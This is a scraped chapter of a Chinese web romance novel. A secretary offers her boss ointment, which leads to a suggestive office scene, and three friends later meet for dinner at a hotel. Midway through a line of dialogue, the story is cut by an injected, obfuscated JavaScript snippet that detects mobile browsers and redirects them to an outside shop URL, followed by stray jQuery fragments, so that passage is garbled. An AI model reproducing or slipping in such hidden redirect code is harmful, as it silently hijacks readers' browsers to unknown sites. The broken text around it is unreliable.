文趣网 > 都市小说 > 月落孤舟 > 13.药膏
    翌日,林月筱放弃了特批的假期还是选择了来上班,因为她向人事询问过了,假期可以兑换成工资。她不需要有额外的假期,但需要有额外的钱。

    灰棕调西装半裙加上雾霾蓝色调的衬衫,整个人显得明媚又干练。今天她来得稍晚了些,江泉已经提前到了,只不过他这会正背对着门口给办公室里的发财树浇水,因此全然没发觉有人进来。

    “嘿,江泉,你今天来这么早呀?”

    林月筱的工位就在发财树旁边,他一回头正巧和林月筱来了个对视,那极具冲击性的美貌,即便江泉和她共事多日,但此刻也还是不禁怔愣了一下。

    见江泉呆在在那也不说话,林月筱微歪着脑袋看他,关心道:“你怎么啦?”

    “啊?啊……没、没怎么。”江泉绕过她回到了自己的工位上,“我今天起得早,所以就早来了些。”

    本就是随口一问,所以林月筱也没再说什么,只是点了点头。

    “哦对了,沈总来了吗?”

    “当然,你什么时候见过沈总迟到?”

    “那也是。”

    问完,林月筱便从包里拿出文件,正要起身,江泉便开口问:“嗯?你要去沈总办公室吗?”

    “对。”林月筱将手上的文件抬起展示了两秒,“我要给沈总汇报【千山】的展会流程。”

    江泉有些惊讶:“你做好了?”

    “嗯,周末做的。”

    “这不是这周三才DDL吗?筱筱,你也太卷了吧。”

    林月筱有些欲哭无泪,耸了耸肩道:“你觉得我会这么勤奋吗?还不是我们老板下的指令。”

    江泉偷瞄地往沈庭舟的办公室瞅了眼,明知道这这距离是不可能听得到的,但他还是下意识压低声音道:“你得罪他啦?”

    得罪吗?林月筱仔细想了想:“或许吧。”

    门是开着的,林月筱来到办公室门口轻叩了叩门,可沈庭舟只是眼皮微掀往她方向看了一下,却没说话。

    林月筱也没管他同不同意,便直接走了进去。

    “沈总,这是关于【千山】展会的布置规划示意图以及人员对接的一些情况,您请过目。”

    沈庭舟头也没抬,只是淡漠地应了句:“嗯,放这吧。”

    “好。”

    林月筱将文件端正地摆放在沈庭舟的左上角,可人却依旧定站在那,一动未动。

    过了大约半分钟,见她还不走,沈庭舟这才缓慢抬起头瞥了她一眼:“还有事?”

    林月筱跨一步上前,从对面走到了他的身旁,小声问:“沈总,请问我可以关起门来和你聊些事情吗?”

    这句过于奇怪的问话,沈庭舟蹙了蹙眉,直接拒绝:“有什么话不能直接说?”

    既然如此,林月筱也没再坚持,点点头后便从裙子口袋处掏出了一样东西,定眼望去发现是一支药膏。

    “沈总,很抱歉我昨天不小心弄伤了你的隐私部位,所以我特意去药店问店员买了这支药膏……”

    “闭嘴。”沈庭舟忽地打断了林月筱的话,语气中似有些无言到极致的无奈,“去关门。”

    “哦哦,好的。”

    林月筱很听话地去关了门,毕竟对于这位阴晴不定的顶头上司,她早就习以为常。

    沈庭舟敛眸,深吸了一口气,良好的教养使得他依旧维持着表面的平静。但声音却也随之沉闷了几分,不解问:“你为什么要去药店?”

    “因为我上网查过了,即便不是被热水烫伤,但突然遭受到冰水刺激的话,也有几率会……”

    见她欲言又止,沈庭舟慵懒地靠在椅背,抬头看她:“会怎样?”

    林月筱偷瞄了男人一眼,抿了抿唇,有些于心不忍道:“会阳痿。”

    “……”沈庭舟脊背瞬间绷直,犀利的眼神落在了林月筱身上,几乎是咬牙般开口,“我不会。”

    林月筱睫毛眨了眨,那双清澈灵动的眼睛此刻更显无辜和单纯:“沈总您昨天试验过了?”

    “……”

    见沈庭舟又不说话了,作为一位面面俱到且贴心的职业秘书,林月筱将药膏双手奉上递放到了他的跟前。

    “沈总您不用觉得害羞,这件事情本就是我的失误,所以我必须对您负责到底。这药膏您在洗完澡后均匀涂抹到伤患处,一日三次,中途不要使用,坚持涂几日就会好的。”

    沈庭舟双眸紧盯着她,幽深的瞳眸中泛着森冷的光,似乎下一秒就要人事去准备辞退手续了。

    他是这么想的,也这么问了:“你现在这么殷勤,是怕我会开除你吗?”

    可林月筱却摇了摇头,她神情严肃,眼神坚定道:“当然不是,我只是来将功赎罪的。沈总,如果您不方便的话,我可以帮您擦。”

    这女孩大胆的话语让沈庭舟都不禁眉弓轻挑,双眸幽幽地盯望着她,试图从她的眼睛里找到一丝不对劲的地方。

    可惜都没有,她眼神纯粹,不掺一点杂念。似乎真的只是想要弥补过错。

    他还在揣摩女孩的心思,可女孩却已打算直接上手。

    “沈总,不然我给你示范一次?”

    示范?

    沈庭舟还没反应过来这词的意思,就见到林月筱走到了离他不到二十厘米的距离停下,紧接着缓缓蹲了下来。

    他双眸微眯落在了女孩低垂的睫毛上,当林月筱正欲伸手时,他倏地攥住了她纤细的手腕,另一只手掐住她的下颚迫使她微微抬头。

    眸光如夜般沉谧,指尖却泛着凉意,沉声问:“你要干什么?”

    林月筱抬头,她仰视看着沈庭舟,这极具暗示性的角度,私密的空间……静谧,暧昧,情迷。

    红润的唇微微张开,甜软的嗓音一字一字道:“帮你。”

    他双手控制了林月筱,看似占据上位,却也失策地将掌控权丢失。

    因为女孩的另一只手已经悄然摩挲上他的大腿,顺着西装的纹路,一点点地,勾勒上前。

    女孩的手指修长且柔软,所及之处泛着一阵触电般的酥麻,让他一时间忘记了阻止,反而让心脏也受到了牵连。

    “沈总……”

    女孩再度张口唤他,手也再一步得寸进尺,沈庭舟终于意识到情况不对正要伸手——

    可门却在这一刻不合时宜地被推开。

    一个男人出现在了办公室里,意外撞破了这一幕。

    “我…来的不是时候?”勾唇露出一抹意味不明的笑,紧接着非常识趣地准备后退出去,“抱歉啊,我不是有意要打断的,你们继续。”

    可脚刚踏出门口半步,男人却又回头补充道:“不过得快点,我赶时间。”

    见男友又要走,沈庭舟黑脸喊道:“梁肃,你站住。”

    这会林月筱也站起身来,伸手抚平因蹲姿弄出皱痕的裙子,朝着梁肃微微一笑:“您误会了梁先生,我只是在帮沈总一个小忙。”

    随即她回头看向沈庭舟,保持微笑道:“那我先出去了沈总。”

    林月筱与梁肃擦肩而过,男人看着女人远去的背影,一道考究的目光缓缓又落在了好友身上。

    他大摇大摆地像回到了自家公司一样自在,翘着二腿坐在了沙发上,随手拿起一本财经杂志漫不经心地翻看了两页,紧接着逗趣问:“怎么突然对你家小保姆感兴趣了?居然还把人要来到身边当秘书?”

    似刚刚的事情只是错觉,沈庭舟摊开一份项目书,表情恢复平静自然:“她不算我家保姆,招聘流程走的也是正规程序。”

    而后,他顿了顿,补充道:“而且,这就是一场误会。”

    梁肃嘴角微动,继续敷衍地点了点头:“嗯,我说了我信嘛,不需要一直解释。而且这是您的公司,您想怎样就怎样。”

    沈庭舟已经懒得理会他,嫌弃地瞥了他一眼:“你要没事就滚回你公司。”

    经过这么一提醒,梁肃才想起来自己此行的目的:“噢对,差点把正事忘记了。阿琛刚好来魔都办事,今晚大家一起聚一下吃顿饭呗。”

    “可以,你来安排。”

    -

    黑夜降临,一辆墨色迈巴赫划破夜的寂静,平稳停在了【澜庭酒店】前。锋利的车身线条,完美的艺术结合,轮胎紧抓地面,连刹车的气声都弥漫着金钱的味道。

    低调内敛,却尽显贵气,正如从车里下来的男人。一身高定西装将他的逆天比例彰显得淋漓尽致,眉目冷淡,五官深邃,腕处的蓝宝石袖扣为其增添了一抹亮色。浑身自带威严和压迫感,让人忍不住多看两眼,却又心生敬畏。

    他回头,看了眼停在后方的那辆法拉利,不免开口戏谑:“你这选址也太偷懒了吧。”

    梁肃从车上下来,随手将钥匙扔给了一旁等候的泊车员,勾唇轻笑走到沈庭舟身边,勾肩道:“干嘛?我家酒店出品还是很不错的,想吃什么随便点,记哥账上。”

    沈庭舟毫不留情地将他的手从肩上推开,他有时候真的怀疑梁家给梁肃起名时是不是没给那算命的塞钱,这吊儿郎当的个性与他的名字真是完全相反。

    “阿琛到了吗?”

    “早到了,在包房等着呢。”

    梁肃与沈庭舟并肩走着,路过前台时一声声起伏不断地喊着“小梁总好”。

    而等两人走过去后,前台一穿着制服的工作人员才小声问道:“姐,小梁总是谁?”

    “小梁总你都不知道?董事长的亲儿子,这家酒店的唯一接班人。”

    望着二人远去的背影,陆之宜努力记清对方的长相,以免后续见到了认不出来反而把工作丢了。

    包厢内,赫然已经有人提前到了。梁肃率先走进,热情地想要给好兄弟来一个大拥抱,可却被裴祈琛一个侧身给巧妙躲开。

    梁肃佯装诧异,一副受伤的模样控诉道:“不是吧,咱兄弟间才多久没见啊,不至于这样生疏了吧?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551721|203956||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    沈庭舟轻笑,拍了拍裴祈琛的胳膊,招呼道:“别管他,我们先坐。”

    落座后,裴祈琛才解释:“你身上有烟味,二手烟对我女儿不好。”

    “???”坐在对面的梁肃无语地看着他,“女儿奴真是可怕。更何况我就抱你一下,一秒钟都用不上,你女儿远在粤城,怎么闻得到?”

    提起女儿,裴祈琛那张肃穆的脸瞬间便有了老父亲般的柔情,他故作炫耀道:“你不懂,我是绝对不会让这个世界上的任何一点危险靠近我的女儿。”

    作为好友三人组里,裴祈琛是最早结婚且有了小孩的,其余二位单身汉也确实不懂。

    而沈庭舟甚至还注意到,那位西装革履气质斐然的裴总,手背上却居然有一个HelloKitty的纹身。

    他眸光中流露出了和梁肃同样讶异的眼神,诡谲的目光从裴祈琛身上游移两秒,而后才开口问:“这也是为了女儿纹的?”

    顺着好友的目光往下看,裴祈琛才反应过来,他大方地举起手给二人看了女儿的杰作:“这个不是纹的,是女儿给我贴的纹身贴。我洗手时都不敢用力,擦洗掉了的话,我女儿会很伤心的。”

    面对这三句话里有两句话都离不开“女儿”的男人,梁肃率先感慨:“我从没想过你婚后的改变会这么大。”

    虽然裴祈琛女儿奴的形象太过夸张,但沈庭舟倒也表示理解:“毕竟娶了自己暗恋五年的女孩,婚后生活也该是他这样的。”

    好友聚会总是特别地放松,裴祈琛慵懒地靠在椅背,不由得点了点头:“是啊,我现在觉得我的生活很充实很圆满很幸福。我别无所求了,我想要的都拥有了。”

    随后,他又将目光落在二人身上,调侃道:“别看你们现在对我的行为嗤之以鼻,等你们以后有了自己的孩子就知道了。”

    沈庭舟看着裴祈琛手背上的HelloKitty,屏保里妻子和女儿的照片,他若有所思地听着这句话……

    会吗?

    他无法想象。

    梁肃这会忽地提议道:“难得大家今天相聚,喝一杯?”

    裴祈琛颔首:“可以浅酌。”

    两秒后,两双眼睛都同时看向了沈庭舟。

    “我不喝。”

    “又不喝?你这不喝酒的毛病什么时候得的?”

    “喝不醉,没意思,就不爱喝了。”

    “……”

    梁肃白了他一眼,举杯和裴祈琛道:“我们喝,不管这装货。”

    酒过三巡,除了滴酒未沾的沈庭舟,和只浅喝了三杯的裴祈琛外,场上唯一将“不醉不归”放心上的梁肃,此刻已经醉倒在了桌子上。

    两人都不想带着这酒鬼,于是一合计干脆提议:“把他扔在这算了,反正是他家的酒店,丢不了。”

    裴祈琛也是立刻同意:“我觉得行。”

    随便叫来了两位男服务员将梁肃架起跟着,沈庭舟径直来到前台,问:“前厅经理呢?”

    陆之宜听到声音赶忙上前,恭敬道:“经理有别的工作暂时不在这,我是前厅部长,请问有什么可以帮您?”

    “小梁总喝醉了,给他开个房间。”

    陆之宜侧目往男人身后看去,果然看到了方才那张仔细辨认过的脸,于是立即道:“好的,请稍等。”

    沈庭舟还有别的工作要忙,就不打算在这等手续办好,而裴祈琛喝了酒也懒得再请代驾,便让好友顺路将自己送回酒店。

    裴祈琛走到车旁打开后座,打算将买给女儿的礼物先放到后排,可却意外看见车座下似掉了什么东西。

    他弯腰捡起,发现是一个墨绿色的精致礼盒,巴掌大小,从外观上看不出是什么。

    他转手递给了主驾驶的沈庭舟:“这你的吧?”

    “我的?”沈庭舟接过,左右端详着这四四方方的小盒子,却完全没印象。

    裴祈琛刚要坐进车里,身后就传来了梁肃的声音,那人边往前走边骂道:“你们两个混蛋,还是不是好兄弟了?怎么把我一个人扔在这啊?”

    沈庭舟懒得下车了,就对裴祈琛道:“你去看看那家伙吧。”

    “行吧。”

    裴祈琛走后,沈庭舟独自一人坐在车里,手里依旧拿着那个精美的小盒。内灯的亮光照在了蝴蝶结上,两侧桂花的暗纹栩栩如生,甚至还弥漫出一股淡淡的桂花香气。

    他好奇地将其打开。

    但见到里边东西的一霎,他眸光稍顿,眉毛轻挑,眼神里多了一丝玩味和探究。

    那净白修长的指节将其勾起,抬至灯光下,竟是一条烟紫色带有蕾丝花边近乎透明的——丁字裤。

    那少得可怜的布料就这样倒挂在男人的手指间,尽显赤.裸般的涩情。

    而坐过这辆车的,也只有她一个人。

    于是沈庭舟直接拨通了那人的电话,沉幽的声音在车里缓缓扩散:“你在哪?”